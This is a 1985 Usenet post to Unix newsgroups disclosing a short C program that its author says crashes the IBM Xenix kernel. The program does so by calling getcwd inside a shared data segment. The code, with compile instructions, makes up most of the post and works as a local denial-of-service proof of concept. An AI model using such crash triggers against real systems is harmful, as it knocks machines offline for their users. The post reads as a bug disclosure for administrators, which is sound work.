Relay-Version: version B 2.10 5/3/83; site utzoo.UUCP Posting-Version: version B 2.10.2 9/18/84; site medstar.UUCP Path: utzoo!watmath!clyde!burl!ulysses!allegra!mit-eddie!genrad!decvax!harpo!whuxlm!akgua!gatech!medstar!robin From: robin@medstar.UUCP (Robin Cutshaw) Newsgroups: net.unix-wizards,net.micro.pc Subject: Xenix panic (easy to do) Message-ID: <181@medstar.UUCP> Date: Wed, 10-Jul-85 16:23:41 EDT Article-I.D.: medstar.181 Posted: Wed Jul 10 16:23:41 1985 Date-Received: Sat, 13-Jul-85 10:30:43 EDT Distribution: net Organization: Medical Systems Technology and Research, Inc., Atlanta, Ga. Lines: 32 Xref: watmath net.unix-wizards:13803 net.micro.pc:4522 Here is a quick way to panic the IBM Xenix kernel (both original and updated). This works for both the small and medium models. (use cc shr.c -o shr -lx). ---------------CUT HERE----------------------- #include#include #include main() { char *share, pnbuf[128]; extern int errno; extern char *getcwd(); if ( (share = sdget("/tmp/shx", SD_CREAT|SD_WRITE,12L,0777)) == (char *)-1) { fprintf(stderr,"Share = %d %d\n",errno,share); exit(share); } sdenter(share, SD_WRITE); (void )getcwd(pnbuf,100); /* THIS IS THE KILLER LINE */ sdleave(share); sdfree(share); } -- ---- Robin Cutshaw uucp: ...!{akgua,gatech}!medstar!robin